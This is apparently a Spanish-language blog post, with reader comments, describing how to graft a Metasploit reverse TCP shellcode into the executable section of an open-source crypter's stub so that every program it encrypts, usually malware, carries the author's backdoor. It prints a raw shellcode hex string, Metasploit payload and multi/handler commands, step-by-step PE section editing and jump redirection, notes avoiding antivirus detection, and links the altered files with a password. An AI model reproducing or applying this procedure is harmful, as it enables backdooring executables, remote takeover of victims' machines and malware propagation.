Tengo un problema, posiblemente este debería formar parte de
mi currículum de igual manera que forma parte de mi vida. Para no alarmar
demasiado a los lectores, les contaré de qué se trata. Pues bien, tengo la
necesidad de forma constante de realizar cosas nuevas, la seguridad informática
es algo que me encanta, todos tenemos nuestros hobbies. Posiblemente en mi vida
tenga cosas que me complacen más o menos, salir al campo, emborracharme,
escuchar música… lo que todos los jóvenes de hoy en día, con mayor o menor
frecuencia realizan. Algunas cosas me llenan más, otras menos, y cuando me
aburro siempre encuentro la alternativa para realizar otra cosa que
sencillamente me hace feliz. Es por eso, que llevo tanto sin escribir en el
blog, he encontrado otras cosas que me hacen disfrutar y seguir aprendiendo en
otros ámbitos, no obstante a veces, añoro cosas que hacía y por eso hoy me tenéis enelpc, bueno… eso! y porque hace un frío que te cagas! Y prefiero hacer
algo en casita brbrbrbrrrr
Se me ha ocurrido la idea, de que sería divertida una
entrada sobre cómo realizar un injerto en una sección ejecutable de cualquier aplicación, que de alguna manera realizase la ejecución de una ShellCode
para tomar el control del equipo donde esta se ejecuta. Evolucionando un poco
la idea, ¿Por qué no…? Sería la ostia, incluir la shellcode en el stub de un
crypter, para que todas las aplicaciones (normalmente malware) que sean
cifradas por el mismo, se lleven un regalito y podamos utilizar esto como
método de propagación de mi backdoor.
La primera shellcode que utilicé para realizar el POC, no
era más que un MessageBox funcional para prácticamente todas las versiones de
Microsoft Windows:
31d2b230648b128b520c8b521c8b42 088b72208b12807e0c3375f289c703 783c8b577801c28b7a2001c731ed8b 34af01c645813e4661746175f2817e 084578697475e98b7a2401c7668b2c 6f8b7a1c01c78b7caffc01c7687974 6501686b656e42682042726f89e1fe 490b31c05150ffd7
Una vez que vi mi idea funcionando, pasé a una shellcode de
Metasploit ¿Cómo no? Una reverse TCP, de tipo stage con la conexión y el resto de funcionalidades.
use windows/shell/reverse_tcp
set LPORT 4444
set LHOST 192.168.1.103
generate
Como nota importante, existen conversores de ShellCode to Assembly para poder echarle el ojo sin perder demasiadas neuronas.
Para poder utilizar la ShellCode más adelante, ya que por defecto
Metasploit la devuelve en formato de lenguaje C, he
realizado la limpieza de todas las “\x” para insertarla más adelante.
Lo que queremos inyectar ya lo tenemos preparado, el próximo
paso sería hacernos el hueco sobre el ejecutable donde vamos a realizar el
injerto de código. Para ello, he decidido que puede resultar más didáctico no
utilizar Topo ni herramientas que nos digan donde hay un hueco, sino que el
objetivo será el de ampliar la sección ejecutable CODE o en otros casos text,
para incluir nuestro código. Por otro lado, evitaremos detecciones antivirus
por la creación de nuevas secciones sobre el ejecutable y cosas similares.
Utilizaremos LordPE para ver donde se encuentra el inicio de la siguiente
sección DATA.
“PE Editor
> Stub.exe > Sections”
4600 hex es la dirección donde empieza la sección DATA, con
lo que la sección CODE contiene un hueco desde ese Offset hasta el final de la
misma. En este caso vamos a ampliar ese hueco para que entre una shellcode
grande.
Nos dirigimos a un editor hexadecimal, yo en mi caso siempre
suelo utilizar Hex WorkShop aunque tenéis WinHex gratuito para estas cosas
también. Control+G y accedemos al formulario de búsqueda, con el cual podemos
llegar hasta el Offset 4600 hex.
Para saber la cantidad de Offsets a incluir, abriremos LordPE
y seleccionaremos el Stub.exe del Crypter con el botón de PE Editor para
apuntar el valor de FileAlignment. El
número de Bytes a incluir es importante, ya que debe de ser múltiplo de este
valor del ejecutable.
200 * 3 = 600
Botón derecho Insert
Bytes para incluir 600 Bytes más a la sección CODE.
Después de esta acción,
el ejecutable Stub.exe queda totalmente roto, ya que hemos incluido 600
Bytes anulando el resto de punteros que apuntan a las posiciones del resto de
secciones PE.
Nos dirigimos a las secciones y sobre la sección CODE,
presionamos con el botón derecho sobre “Edit Section Header”.
Vamos a empezar con el alineamiento, con lo que será
necesario en este caso realizar lo siguiente:
Es necesario incrementar los valores
de VirtualSize y RawSize con lo que hay que sumarles la cantidad en bytes que
hemos incluido anteriormente, 600 bytes.
VirtualSize = 40A4 + 600 = 46A4
VirtualSize = 40A4 + 600 = 46A4
RawSize = 4200 + 600
= 4800
Para el resto de secciones, hay que modificar tanto el
VirtualAddress como el PointerToRawData. En nuestro caso tras sumar el VirtualAdress y
SizeOfRawData de la sección CODE, no superamos el valor contenido en el VirtualAddress
de la siguiente sección, con lo que al no pisarla, no es necesario llevar a
cabo su modificación. Por otro lado, sí será necesaria la modificación del PointerToRawData
del resto de secciones siguientes, sumando el valor contenido en Raw Offset y SizeOfRawData
de la sección anterior. De tal manera que quede así.
Tras
guardar los cambios, abrimos el Stub.exe con OllyDbg y buscaremos en hexadecimal
varias instrucciones NOOP, para dar con la dirección virtual donde se encuentra
el hueco que hicimos con el editor para realizar el injerto.
Copiamos
la ShellCode que limpiamos anteriormente en la tercera imagen de este artículo
y la pegamos seleccionando un gran número de instrucciones NOOP de forma
binaria.
Quedará
de la siguiente manera incluida dentro del Stub.exe.
Será
necesario redireccionar el flujo de ejecución a nuestro injerto, con lo que he
preferido suplantar una función, para que se ejecute nuestro código inyectado.
Con lo que podemos realizar con botón derecho click sobre “All intermodular
calls”.
El
Stub.exe realizará la llamada a Kernel32.ExitProcess cuando finalice su
ejecución, con lo que podemos utilizarlo para cambiar el flujo. Tecla Enter sobre el
CALL o botón derecho para visualizar el código desensamblado.
Incluimos
una instrucción de salto largo JMP para llegar hasta la dirección de memoria
donde hemos realizado el injerto (10005200). Ya tenemos la redirección.
Copiaremos
las modificaciones sobre nuestro Stub.exe, con “Copy to executable > All
modifications > Save”.
Estoy
nervioso, estoy nervioso, aaaaaaaaaaah! Jajaja
El Crypter que
he utilizado para la prueba de concepto es OP Crypter, el cual compilé hace un
tiempo para realizar HackShield
Pro K.O. EnelDLL Injector y la entrada en la cual cifraba
malware de forma manual. Ya que es un Crypter en Delphi, Open Source y funciona
en versiones nuevas de Windows he decidido seguir utilizándolo.
La siguiente imagen muestra, como se cifra un malware de prueba… con OP Crypter y el Stub.exe con Backdoor de regalito.
Nuevamente me
sale el conejito, parece que vaya por ahí buscando conejitos…!!
Utilizaremos el
Multi Handler de Metasploit para ponernos a la escucha antes de ejecutar el
Malware.exe cifrado con mi Stub.
use multi/handler
set payload windows/shell/reverse_tcp
set LPORT 4444
set LHOST 192.168.1.103
exploit
Doble clic sobre
Malware.exe, este es abierto y a la derecha vemos como el injerto con la ShellCode nos devuelve acceso a la consola de Windows… Ya te digo! =)
He subido los archivos de la carpeta Delphi Crypter, para que puedan jugar con ellos a este enlace.
Pass: 4n0nym0us
un video tutorial no estaria nada mal bro desde EE.UU
ResponderEliminarMe ha encantado la entrada, como siempre. No estaría mal que hicieras un video porque me he perdido a mitad xD.
ResponderEliminarSaludos!!
Muchas gracias! la verdad que para hacer un vídeo lo haría explicando otro tema por no ser repetitivo, me lo pensaré la próxima vez cuando toque algo delicado. Posiblemente la parte más tediosa sea en la que explico la alineación de las secciones, como optativa siempre podéis probar a crear una sección nueva o utilizar herramientas automatizadas para estas tareas.
ResponderEliminarSaludos!
Un post, genial y muy interesante eres un master.
ResponderEliminarGracias Pablo! :)
EliminarMuy buena ! pero estaría bien lo de un vídeo c: Gracias !
ResponderEliminarPuedes publicar el codigo shellcode que has utilizado en ensamblador?? gracias
ResponderEliminarlo estoy analizando y veo que le has dado unas cuantas vueltas a la cabeza,eso me hace pensar tambien a mi,nuchas gracias german por tus trabajos...
ResponderEliminarGracias :)
Eliminarhola alguna manera de contacto?
ResponderEliminarbuenísimo mi perro, saludos desde Ciempozuelos jajaj
ResponderEliminar